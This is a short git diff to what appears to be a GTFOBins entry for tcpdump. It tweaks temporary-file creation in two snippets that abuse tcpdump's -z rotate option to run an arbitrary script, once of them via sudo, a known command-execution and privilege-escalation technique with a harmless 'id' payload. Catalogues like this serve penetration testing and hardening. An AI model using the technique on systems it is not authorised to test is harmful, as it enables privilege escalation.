diff --git a/_gtfobins/tcpdump.md b/_gtfobins/tcpdump.md
index aa3368a..ba54490 100644
--- a/_gtfobins/tcpdump.md
+++ b/_gtfobins/tcpdump.md
@@ -3,14 +3,14 @@ functions:
   execute-non-interactive:
     - code: |
         COMMAND='id > /tmp/output'
-        TF=$(mktemp -u)
+        TF=$(mktemp)
         echo "$COMMAND" > $TF
         chmod +x $TF
         tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
   suid-enabled:
     - code: |
         COMMAND='id > /tmp/output'
-        TF=$(mktemp -u)
+        TF=$(mktemp)
         echo "$COMMAND" > $TF
         chmod +x $TF
         sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF